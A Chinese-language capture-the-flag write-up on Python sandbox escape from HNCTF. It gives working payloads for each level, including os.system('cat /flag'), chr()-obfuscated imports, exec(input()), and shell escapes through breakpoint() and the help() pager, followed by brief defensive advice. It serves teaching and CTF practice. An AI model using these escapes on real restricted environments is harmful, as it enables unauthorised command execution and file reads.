HNCTF Jail---沙盒逃逸
字数 1542 2025-08-29 08:30:06
Python沙盒逃逸技术详解
1. Python沙盒逃逸基础概念
Python沙盒逃逸是指在一个受限的Python执行环境中，通过各种技术手段突破限制，执行原本被禁止的操作（如读取文件、执行系统命令等）的技术。
沙盒逃逸的常见目标：
- 绕过字符过滤
- 绕过关键字过滤
- 绕过长度限制
- 利用Python内置函数和模块的特殊功能
- 访问被限制的全局变量
2. Python调试功能与沙盒逃逸
2.1 breakpoint()函数
breakpoint()是Python 3.7引入的内置函数，用于在代码中设置断点，方便开发者进行调试。
基本用法：
breakpoint() # 进入Python调试器
调试模式常用命令：
n(next): 执行下一行代码c(continue): 继续执行，直到下一个断点或程序结束q(quit): 退出调试模式并终止程序p <expression>: 打印表达式的值l(list): 显示当前代码的上下文s(step): 进入函数的内部执行h(help): 查看帮助信息
沙盒逃逸利用：
在调试模式下，可以执行任意Python代码，从而绕过沙盒限制。
2.2 help()函数
help()函数可以用于查看Python对象的帮助文档，但在某些情况下可以用于沙盒逃逸。
关键点：
- 进入
help()后，会启用分页模式(--More--) - 在分页模式下可以执行Shell命令（使用
!前缀）
利用方式：
help() # 进入帮助模式
!ls / # 在分页模式下执行系统命令
3. 沙盒逃逸实战案例
3.1 初级挑战：无过滤环境
目标：直接执行系统命令获取flag
Payload：
__import__('os').system('cat /flag')
3.2 初级挑战Level1：字符过滤绕过
限制：过滤了单引号'、双引号"、字母i和b
绕过技术：
- 使用
chr()函数构造字符串 - 使用字符串拼接
Payload：
__import__(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))
3.3 初级挑战Level2：长度限制
限制：代码长度受限
解决方案：
- 使用
input()函数获取外部输入 - 使用
exec()或eval()执行动态代码
Payload：
exec(input())
# 然后输入实际的payload，如：__import__('os').system('cat /flag')
3.4 初级挑战Level2.5：禁用input()
限制：禁用input()函数
解决方案：
- 使用
breakpoint()进入调试模式 - 在调试模式下执行命令
Payload：
breakpoint()
# 在调试器中输入：__import__('os').system('cat /flag')
3.5 初级挑战Level3：更严格的长度限制
限制：比Level2更严格的长度限制
解决方案：
- 使用
help()函数进入帮助模式 - 在分页模式下执行系统命令
Payload：
help()
# 在分页模式下输入：!cat /flag
3.6 Lake挑战：读取全局变量
环境特点：
- 只能选择两种模式
- 第一种模式代码长度不超过9个字符
- 第二种模式无限制但需要获取key
Payload：
globals() # 查看全局变量
3.7 l@ke挑战：6字符限制
限制：输入限制为6个字符
Payload：
help() # 进入帮助模式
__main__ # 查看当前模块信息
4. 高级技巧与参考
4.1 字符串构造技巧
当关键字符被过滤时，可以使用以下方法构造字符串：
chr()函数- 字符串拼接
- 字节转换
- 格式化字符串
4.2 模块导入技巧
当import关键字被过滤时：
__import__('os') # 替代import os
4.3 参考资源
- Python沙盒逃逸技术详解
- Python官方文档关于
breakpoint()和help()的部分 - SECCON CTF 2021决赛相关题目
5. 防御措施
为了防止沙盒逃逸，可以考虑：
- 禁用危险的内置函数（如
breakpoint,help,eval,exec） - 限制可访问的模块
- 使用安全的沙盒环境（如PyPy沙盒）
- 实施严格的输入过滤
- 限制代码长度和执行时间
通过理解这些技术，CTF选手可以更好地应对Python沙盒逃逸挑战，而开发者则可以更好地保护自己的Python应用免受此类攻击。